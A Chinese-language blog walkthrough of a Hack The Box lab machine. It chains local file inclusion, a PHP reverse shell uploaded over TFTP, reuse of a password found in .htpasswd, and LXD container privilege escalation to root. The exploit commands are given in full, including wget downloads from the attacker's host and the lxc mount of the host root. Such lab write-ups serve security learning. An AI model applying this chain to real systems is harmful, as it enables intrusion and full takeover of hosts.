前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >LFI到LXD提权 - 起始点

LFI到LXD提权 - 起始点

作者头像
kam1
发布2022-03-08 14:02:43
8750
发布2022-03-08 14:02:43
举报

LFI到LXD提权

1.LFI本地文件包含

靶机地址为10.129.95.185 攻击机ip为:10.10.14.90

Nmap扫描结果可以看到开启了80端口http服务,并且这个url看起来好眼熟的样子。

这个url已经很明显了,直接测试一手…/…/…/…/…/…/…/…/etc/passwd

果然是本地文件包含,再用burp跑一跑,看看其他信息。

抓包 -> Send Intruder -> 选择好要替换的位置 -> 因为靶机是linux,所以直接选择local file - linux即可

这里仅仅是一个使用burp的小技巧,随便看了点靶机的信息。

因为有一个问题需要回答:目标机器通过UDP运行了什么服务

不得不用Nmap -sU再次扫描UDP端口

发现靶机UDP上开启了tftp,tftp是一种提供无需身份验证的基本文件传输功能

在默认情况下,tftp是不需要身份验证的,任何人都可以连接且上传文件,结合web端的本地文件包含,就可以直接getshell。

2.TFTP传输文件Getshell

因为不需要密码,所以直接连接,输入问号查看一下命令是如何使用的。

可以看到put命令是用来发送文件的,用put命令直接将反弹shell的php上传到靶机

当然此时还不知道路径在哪里,还需要找到路径才可以进行文件包含的操作。

回到一开始的文件包含"/etc/passwd"

这里因为靶机崩了重新启动了一下,所以ip地址改变了。

可以看到主目录是在这个地方,现在在web端构造一下访问地址

同时使用nc进行监听1234端口,即可收到一个shell

使用python3 -c ‘import pty;pty.spawn(“/bin/bash”)’ 来获得一个交互shell

成功Getshell,不过现在的权限是www-data的网站权限,权限是比较低的,所以需要进行提权的操作。

3.提权之路

先看看当前目录有哪些文件

一眼看到.htaccess和.htpasswd,查看一下这两个文件的内容。

得知.htaccess就是普通的一个重定向操作,而htpasswd里面好像是写了账号和密码

会不会是用户呢?来到web页面看看/etc/passwd,搜索一下mike

惊喜,试着切换一下用户

su mike 输入刚刚查看到的密码:Sheffield19

成功登陆mike用户

LXD是Linux系统中用于管理LXC容器的API,提供了很多便利的命令来创建容器

它将为本地lxd用户组的任何用户执行任务,然而并没有在用户的权限与要执行的功能之间是否匹配做过多的判断。

这个漏洞利用到了Alpine image镜像

并且需要挂载,需要安装distrobuilder:https://github.com/lxc/distrobuilder

这里我选择的是从包安装:sudo snap install distrobuilder --classic

因为之前没有接触过这方面,所以这次踩了很多坑,在下载distrobuilder的时候按照wp写的来做,但是其中有些文件直接访问404了,编译不了。

只能选择从包安装,从包安装之后又陷入了路径问题,其实根本不需要管路径的东西。。

其实简单来说就是,安装distrobuilder,构建alpine

确定可以跑起来之后就需要下载Alpine YAML文件并构建它

从包安装的distrobuilder在 “/snap/bin/下面,构建命令:sudo /snap/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8”

最后ls一下,文件夹中多出了压缩文件即为成功。

完事之后,用python临时起一个http服务,在靶机上下载lxd.tar.xz和rootfs.squashfs文件

进入mike用户,下载文件:wget http://10.10.14.90:9000/lxd.tar.xz和wget http://10.10.14.90:9000/rootfs.squashfs

文件已经下载完成,下一步是使用LXC导入图像

lxc image import lxd.tar.xz rootfs.squashfs --alias alpine

导入之后可以输入:lxc image list来查看图像列表

添加成功,为了得到所有权限,将安全权限设置为true

lxc init alpine privesc -c security.privileged=true

并且将其装载到根目录

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

然后现在就可以启动一个root权限的shell了

lxc start privesc

lxc exec privesc /bin/sh

得到flag,这次的提权有点麻,有点赶时间,所以仓促了一些。

后面复习一下,可参考https://www.freebuf.com/articles/system/216803.html

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-01-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • LFI到LXD提权
    • 1.LFI本地文件包含
      • 2.TFTP传输文件Getshell
        • 3.提权之路
        相关产品与服务
        容器服务
        腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档